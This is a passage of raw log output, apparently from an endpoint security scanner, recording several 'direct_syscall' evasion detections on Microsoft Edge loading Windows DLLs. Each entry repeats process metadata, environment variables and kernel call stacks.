(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:23+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4186582 + Pid: 7364 + Tid: 6584 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5803268 +0100 CET + Params: base_address➜ 7ffcdba50000, checksum➜ 206048, default_address➜ 7ffcdba50000, file_path➜ C:\Windows\System32\bcrypt.dll, image_size➜ 172032, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc70e65eeb C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70f0e188 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70d267ef C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e4c0b0 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e4c519 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e10637 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e4c690 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e449ec C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70b909c3 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70b8dc5c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthExecuteBrowserNativeRequest|0x7ffc70b8474b C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthInitialize|0x7ffc90dd6fdf C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!??4IDataFieldVisitor@telemetry_client@@QEAAAEAV01@AEBV01@@Z|0x7ffc9271d4bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc9271c79b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc9416f8a0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc94173cf3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc90287292 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!??1IDataFieldVisitor@telemetry_client@@UEAA@XZ|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:23+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4187234 + Pid: 7364 + Tid: 10176 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.7817279 +0100 CET + Params: base_address➜ 7ffcbb4a0000, checksum➜ 1613415, default_address➜ 7ffcbb4a0000, file_path➜ C:\Windows\System32\Windows.System.Launcher.dll, image_size➜ 1552384, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcd987707f C:\Windows\System32\windows.storage.dll!Ordinal764|0x7ffcd97c8ec8 C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd97c98a0 C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd97ca113 C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd97c887a C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd97c861e C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd98fd4c8 C:\Windows\System32\windows.storage.dll!CCategoryProvider_CreateWithParams|0x7ffcd9876fa6 C:\Windows\System32\windows.storage.dll!Ordinal764|0x7ffcd976a202 C:\Windows\System32\windows.storage.dll!HideExtension|0x7ffc8e5635a0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cfa23a7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cfa2156 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cfaf541 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8d081a2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05288 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:23+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4187283 + Pid: 7364 + Tid: 10176 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.7835623 +0100 CET + Params: base_address➜ 7ffccb1d0000, checksum➜ 121206, default_address➜ 7ffccb1d0000, file_path➜ C:\Windows\System32\Windows.StateRepositoryCore.dll, image_size➜ 106496, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 